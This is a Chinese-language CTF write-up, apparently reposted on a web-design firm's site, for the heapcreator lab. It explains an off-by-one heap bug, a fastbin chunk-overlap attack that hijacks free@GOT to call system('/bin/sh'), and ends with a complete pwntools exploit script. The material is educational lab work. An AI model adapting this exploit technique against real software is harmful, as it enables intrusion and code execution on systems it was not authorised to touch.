尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

heapcreator(hitcontraning_lab13)

发布时间:2026/9/28 21:20:26

资讯中心
01
ARTICLE

heapcreator(hitcontraning_lab13)

heapcreator(hitcontraning_lab13)
静态分析我们拿到题目之后先查看一下保护机制RELRO STACK CANARY NX PIE Partial RELRO Canary found NX enabled No PIEPartial RELRO → GOT 可写能劫持 GOTNo PIE → 程序基址固定 0x400000GOT 地址已知libc 2.23 → 无 tcache直接用 fastbin我们ida反汇编看一下我们看到程序相对比较简单我们来做一个分析create_heapunsigned __int64 create_heap() { heap *v0; // rbx int i; // [rsp4h] [rbp-2Ch] size_t size; // [rsp8h] [rbp-28h] char buf[8]; // [rsp10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp18h] [rbp-18h] v5 __readfsqword(0x28u); for ( i 0; i 9; i ) { if ( !heaparray[i] ) { heaparray[i] (heap *)malloc(0x10u); if ( !heaparray[i] ) { puts(Allocate Error); exit(1); } printf(Size of Heap : ); read(0, buf, 8u); size atoi(buf); v0 heaparray[i]; v0-content (char *)malloc(size); if ( !heaparray[i]-content ) { puts(Allocate Error); exit(2); } heaparray[i]-size size; printf(Content of heap:); read_input(heaparray[i]-content, size); puts(SuccessFul); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }我们经过分析得到一个这样的结构作者有点手残各位看官莫怪这里注意n9整理一下就是这样的结构体struct heap { size_t size; // 8 字节 char *content; // 8 字节指针 }; struct heap *heaparray[10]; // 全局数组存每个 heap 的 struct 指针edit_heapunsigned __int64 edit_heap() { unsigned int v1; // [rspCh] [rbp-14h] char buf[8]; // [rsp10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp18h] [rbp-8h] v3 __readfsqword(0x28u); printf(Index :); read(0, buf, 4u); v1 atoi(buf); if ( v1 0xA ) { puts(Out of bound!); _exit(0); } if ( heaparray[v1] ) { printf(Content of heap : ); read_input(heaparray[v1]-content, heaparray[v1]-size 1); puts(Done !); } else { puts(No such heap !); } return __readfsqword(0x28u) ^ v3; }这里我们发现了漏洞off-by-oneif ( heaparray[v1] ) { printf(Content of heap : ); read_input(heaparray[v1]-content, heaparray[v1]-size 1); puts(Done !); }这里我们画一个图进行解释一下注意这个图可真实的堆栈图是有出入的我们这里只是为了方便大家理解我们看程序输入size1的大小就是将heaparray[v1]填满了size个字节之后溢出了。我们现在确定了这个漏洞点后面的几个没什么说的我们直接进行利用利用off-by-one 改 heap[1] 的 struct chunk size0x21 → 0x410x20→0x402. free(1)struct 被误判为 0x40 进 fastbin[0x40]content 正常进 fastbin[0x20]3. 重新 create 制造重叠新 struct 旧 content新 content 旧 struct4. 通过重叠把新 struct 的 content 指针改成 freegot5. show 泄漏 free 真实地址 → 算 libc 基址6. edit 把 freegot 覆写成 system7. delete 触发 system(/bin/sh)动态验证我们这里先进行修改一下libc的版本这里下断点到第一菜单停在第一个菜单。之后每一步的「输入」就是直接敲菜单断点会自动拦住你。这里我们创建两个chunk这里我们进行查看的就是heaparray 的区域这里两个chunk为什么相差0x40?堆地址 内容 A0x00 [prev_size][size0x21] ← chunk0_struct 头 A0x10 size0x18 ] ← heaparray[0] 指向这 ★ A0x18 content A0x30 ] struct heap (0x10) A0x20 [prev_size][size0x21] ← chunk0_content 头 | 0x20 A0x30 dada ← heap[0]-content | A0x40 [prev_size][size0x21] ← chunk1_struct 头 | 0x20 A0x50 size0x10 ] ← heaparray[1] 指向这 ★ A0x58 content A0x70 ] struct heap (0x10) A0x60 [prev_size][size0x21] ← chunk1_content 头 | 0x20 A0x70 ddaa ← heap[1]-content |利用off-by-one进行改size为什么要 25 个且不带换行前导read_input 读的是 size1 0x19 25终端规范模式下按回车才提交25 个字符刚好凑满请求长度\n 留在队列里不被读走。我们现在已经成功修改chunk的大小现在我们就释放这个chunk让他进错bin看到 fastbin[0x20] 和 fastbin[0x40] 各挂一个 chunk。这就是漏洞的核心free 只看 chunk 头里的 size 字段0x41 让它以为这是 0x40 的块。同时 x/gx 0x6020a8 应为 0delete_heap 里置了 NULL。看到地址互换了heaparray[1] 现在指向原来的 content 位置。此时 A0x70 和 A0x78 被 B 覆盖了用 gdb 补成 payload 想要的值heaparray[1]-content freegot。指针劫持成立。这是 free 的真实地址此时我们发现freegot 现在等于 system。这个时候我们已经把 content 改成真正的 /bin/sh之后我们就可以拿到shell了之后我们就可以进行构造exp了from pwn import * import time context.log_level info r process([./ld-2.23.so, --library-path, ., ./heapcreator], stdinPIPE, stdoutPIPE, stderrPIPE) heap ELF(./heapcreator) libc ELF(./libc.so.6) def create(size, content): r.recvuntil(bYour choice :); r.sendline(b1) r.recvuntil(bSize of Heap : ); r.sendline(str(size).encode()) r.recvuntil(bContent of heap:); r.send(content) def edit(idx, content): r.recvuntil(bYour choice :); r.sendline(b2) r.recvuntil(bIndex :); r.sendline(str(idx).encode()) r.recvuntil(bContent of heap : ); r.send(content) def show(idx): r.recvuntil(bYour choice :); r.sendline(b3) r.recvuntil(bIndex :); r.sendline(str(idx).encode()) def delete(idx): r.recvuntil(bYour choice :); r.sendline(b4) r.recvuntil(bIndex :); r.sendline(str(idx).encode()) free_got heap.got[free] # 1. off-by-one 把 heap[1] 的 struct chunk size 0x21 → 0x41 create(0x18, bdada) create(0x10, bddaa) edit(0, b/bin/sh\x00 ba * 0x10 b\x41) # 2. free 后 struct 进 fastbin 0x40content 进 fastbin 0x20 delete(1) # 3. 重新分配制造 overlap写 content 覆盖新 struct 的 content 指针为 freegot create(0x30, p64(0) * 4 p64(0x30) p64(free_got)) # 4. leak free 地址 show(1) r.recvuntil(bContent : ) data r.recvuntil(bDone !) free_addr u64(data.split(b\n)[0].ljust(8, b\x00)) libc_base free_addr - libc.symbols[free] log.success(libc base: hex(libc_base)) system_addr libc_base libc.symbols[system] # 5. freegot → system edit(1, p64(system_addr)) # 6. 触发 system(/bin/sh) delete(0) time.sleep(0.3) r.sendline(bid; echo SHELL_OK; exit) time.sleep(0.3) data r.recvrepeat(3) log.success(output: repr(data)) r.close()好了我们本篇博客就结束了感谢观看
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。